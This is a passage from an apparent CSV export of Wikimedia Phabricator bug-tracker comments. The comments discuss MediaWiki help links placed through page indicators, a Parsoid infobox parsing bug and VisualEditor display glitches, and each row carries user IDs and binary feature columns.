+Hiding with css would work, but not tested yet.",,,1425673270,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+422345,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Or we can switch the order. Did you try CSS, though?",,,1425670025,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+422327,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","on de.wikipedia.beta.wmflabs.org we have changed the id, but it does not override it, see http://de.wikipedia.beta.wmflabs.org/wiki/Spezial:Verschieben/MediaWiki:Movepage-summary for the place where the wrong help link is shown and http://de.wikipedia.beta.wmflabs.org/wiki/MediaWiki:Movepage-summary for the message where the indicator is used.
+
+This seems to be happen because OutputPage::setHelpLink is called later than SpecialPage::outputHeader and than override the indicator (""In case of duplicate keys, existing values are overwritten.""). OutputPage::setIndicators needs a explicit not-overwrite-option which than can be used from OutputPage::addHelpLink.",,,1425668089,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+422321,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)
+
+They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.
+
+> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
+> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.
+
+Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS class+id and the indicator system insufficient for customisation?",,,1425667651,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+422320,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)
+
+They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.
+
+> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
+> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.
+
+Local help pages are available on very few languages, but sure, customisation should be possible for wikis which care about it. Are the provided CSS classes and the indicator system insufficient for customisation?",,,1425667627,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+422312,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","> What about wikis already have such a help link in the UI like dewiki (see https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/MediaWiki:Specialpage-helplink&limit=500&hidelinks=1 for all usages)
+
+They should switch to the usage of indicators, using the same ID. This *should* suppress the default link.
+
+> What about the local help pages like linked from https://www.wikidata.org/wiki/Q395887?
+> Why hard linking to mw.org? There should be a way to allow the local community to override the target of the help page.
+
+Local help pages are available on very few languages, but sure, customisation should be possible for wikis which cared about it. Are the provided CSS classes and the indicator system insufficient for customisation?",,,1425667449,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+421154,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I told you there were many. ;-) Even more ambitious, various actions or special cases thereof:
+* https://meta.wikimedia.org/wiki/Help:Diff
+* https://meta.wikimedia.org/wiki/Help:Edit_conflict
+* https://meta.wikimedia.org/wiki/Help:Image_page
+* https://meta.wikimedia.org/wiki/Help:Preview
+* https://meta.wikimedia.org/wiki/Help:Redirect
+* https://meta.wikimedia.org/wiki/Help:View_source
+
+Not sure how to split this conversation/epic. As long as it's just me talking with myself, one report and 3-4 patches probably suffice. ;-) But fixing or rewriting 15 help pages on something like half of a wiki's daily operation is unlikely to be one man's work, while being something we must to at some point.",,,1425514666,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+421149,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194418 had a related patch set uploaded (by Nemo bis):
+Add link to Meta-Wiki help pages from several special pages
+
+[[https://gerrit.wikimedia.org/r/194418]]
+",,,1425513524,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+421133,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194414 had a related patch set uploaded (by Nemo bis):
+Add help link to three rather important pages
+
+[[https://gerrit.wikimedia.org/r/194414]]
+",,,1425511854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+421121,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194411 had a related patch set uploaded (by Nemo bis):
+Add help link to three other ""minor"" special pages
+
+[[https://gerrit.wikimedia.org/r/194411]]
+",,,1425510977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+420998,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I'm very happy. :) As for closure let's see: I'm considering many more possible targets for core, I'll send more patches.",,,1425501388,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+420818,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Fixed by Nemo for a number of core special pages, which will now have a ""Help"" link in the page indicator area (https://www.mediawiki.org/wiki/Help:Page_status_indicators). The newly added `OutputPage::addHelpLink()` method can be used by extensions to provide identical functionality for their own special pages.",,,1425486074,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,87,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+420810,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 merged by jenkins-bot:
+Add top help link to MediaWiki.org in several pages via indicator
+
+[[https://gerrit.wikimedia.org/r/157497]]",,,1425485755,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+414729,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 had a related patch set uploaded (by Nemo bis):
+Add top help link to MediaWiki.org in several pages via indicator
+
+[[https://gerrit.wikimedia.org/r/157497]]
+
+#patch-for-review",,,1424441232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,85,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+336351,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157496 abandoned by Nemo bis:
+Function to add a top (right) icon link to help page
+
+Reason:
+Superseded by indicators
+
+[[https://gerrit.wikimedia.org/r/157496]]",,,1417711881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,74,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+209770,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to Bartosz Dziewoński from comment #10)
+> I did that as a note-to-self to implement this later. But okay.
+
+That's appreciated, and it would be useful if bug 23796 had preserved its original bug summary (with its current summary split to some other bug), but as is it was very confusing.",,,1411574653,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+209764,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",I did that as a note-to-self to implement this later. But okay.,,,1411574311,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+209759,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to Bartosz Dziewoński from comment #8)
+> The implementation proposed by Nemo looks like it would benefit from having
+> bug 23796 solved first, so I'm marking this as such.
+
+With its current summary I see no relation whatsoever.",,,1411573973,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+209753,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","The implementation proposed by Nemo looks like it would benefit from having bug 23796 solved first, so I'm marking this as such.",,,1411573690,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+209749,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157497 had a related patch set uploaded by Nemo bis:
+Add top help link to MediaWiki.org in several pages
+
+https://gerrit.wikimedia.org/r/157497",,,1409482959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,60,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209745,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 157496 had a related patch set uploaded by Nemo bis:
+Function to add a top (right) icon link to help page
+
+https://gerrit.wikimedia.org/r/157496",,,1409482951,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,60,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209739,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","[[mw:Category:Help]] was made almost completely translatable (and usually revamped a bit in the process).
+
+I count the following places which have a documentation page and don't link it: Special:Block, Special:MergeHistory, Special:MovePage, Special:NewPages, Special:NewImages, Special:Preferences, Special:Search, action=protect, Special:RecentChanges, action=delete, Special:AllMessages, Special:Undelete, Special:Watchlist; and in extensions, Special:MassMessage, Special:TemplateSandbox, Special:AbuseFilter.
+
+Where to start?",,,1409433404,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,60,,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+209733,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to comment #3)
+> Speaking of implementation method, the interwiki prefix mediawikiwiki can be
+> used when necessary: ""new"" wikis have it by default, where ""new"" means after 
+> 2007-03-29 (bug 9440 / r20825 / 98333f458046102ee140f4be86fe4d2c6facae2f ).
+
+To clarify the ""when necessary"": personally, for now I'm following the path of last resistance, i.e. I use wikilink where there is already a wikilink and external where there is already an external link.
+The separate bug 54835 addresses/proposes the standardisation.",,,1380650218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+209725,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Speaking of implementation method, the interwiki prefix mediawikiwiki can be used when necessary: ""new"" wikis have it by default, where ""new"" means after  2007-03-29 (bug 9440 / r20825 / 98333f458046102ee140f4be86fe4d2c6facae2f ).",,,1378569913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+209717,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","(In reply to comment #1)
+> I for one would prefer an ""if the local page does not exist, then
+> transparently
+> deliver the central page from www.mediawiki.org"" approach for help pages
+
+Sure, that's a possibility too. It's a choice of implementation method, let's leave it to code review. :)
+(Target pages would probably be customisable in system messages anyway, so the result would be the same: wikis could have their own pages if they really wanted.)",,,1366030055,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+209710,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I for one would prefer an ""if the local page does not exist, then transparently deliver the central page from www.mediawiki.org"" approach for help pages, mainly resembling the way, pictures are handled and included from Commons if needed.
+
+Also, when user on a wiki are about to create a new help page following a red link to the help: namespace, they should most preferrably be stirred towards the central www.mediawiki.org help page creation in their language.",,,1366029168,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+45582,"Parser misinterprets en.wikipedia Infobox (inline ""style"" attribute ends up in text nodes)","Screenshot of bug and edit screens
+
+Native parser rendering:
+the Netherlands
+
+Parsoid/VisualEditor rendering:
+style=""font-size: larger; font-weight: bold"" | the Netherlands
+
+[[Flag of the Kingdom of the Netherlands]]:
+{{Infobox flag
+| Name = the Netherlands
+...
+
+[[Template:Infobox flag]]:
+> {| class=""infobox"" style=""width: 22em; font-size:88%; text-align:left; line-height: 1.5em""
+|+ style=""font-size: larger; font-weight: bold"" | <br>{{{Name|{{PAGENAME}}}}}
+|-
+...
+
+
+See attachment for rendering.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10351}",Medium,50.0,1357121460,1358293142.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-iwk4mxubemdjw56l5wqu,task_description,resolved,True,c1,1,True,False,True,-26,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1
+209231,"Parser misinterprets en.wikipedia Infobox (inline ""style"" attribute ends up in text nodes)",Fixed by https://gerrit.wikimedia.org/r/#/c/44170/.,,,1358293142,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iwk4mxubemdjw56l5wqu,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+45461,VisualEditor: Mouse leaving a phantom and also the .ve-surface DIV area causes phantom to remain,"Hovering over an uneditable element in VisualEditor makes the element be covered by green stripes until the mouse is moved away, but when the cursor moves directly to the sidebar or the right margin, the stripes stay there until some part of the .ve-surface is hovered over.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1356609300,1361487636.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-ojc6pzmsefmlfjvvupqg,task_description,resolved,True,c1,1,False,False,True,-27,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+202802,VisualEditor: Mouse leaving a phantom and also the .ve-surface DIV area causes phantom to remain,"**orbit** wrote:
+
+Fixed here: https://gerrit.wikimedia.org/r/#/c/50309/",,,1361487636,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ojc6pzmsefmlfjvvupqg,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+45335,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"From user report (but I've had this myself):
+
+| HotCat is a popular gadget and any conflict with it should be avoided. For
+| example, use VisualEditor on [[User:This, that and the other/sandbox/Schfoof]]
+| with HotCat enabled. The HotCat bar appears in the wrong place. (It probably
+| shouldn't appear at all.)
+|
+| …
+|
+| The conflict now appears to be fixed... very strange.
+
+Given that it appears and also doesn't appear between refreshes - i.e., on the same page with the same version of the VE and HC code bases in the same accounts in the same browsers - I'm assuming it's some sort of race-condition, but I'm not sure.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1356129540,1414009552.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pxuflqdxigvalopfqw3z,task_description,declined,True,c1,1,True,False,False,-28,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+195741,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"I can't reproduce this issue... If anyone still sees this, please reopen.",,,1414009552,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,68,,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+195732,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Created attachment 14685
+HotCat showing up in the content editable surface
+
+(from bug 55759 attachment 13500 by Chris McMahon)
+
+**Attached**: {F9984}",,,1393411345,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+195724,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"(In reply to comment #4)
+> Created attachment 13512 [details]
+> VE iframe has gadget code before VE is invoked
+I don't think that's related at all. Gadget CSS is expected in the iframe. It should be in the <head> instead of the <body> but that's a separate issue (bug 56630).
+
+//attachment invisible_iframe_contents.png ignored as obsolete//",,,1383697299,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,18,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+195718,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Created attachment 13512
+VE iframe has gadget code before VE is invoked
+
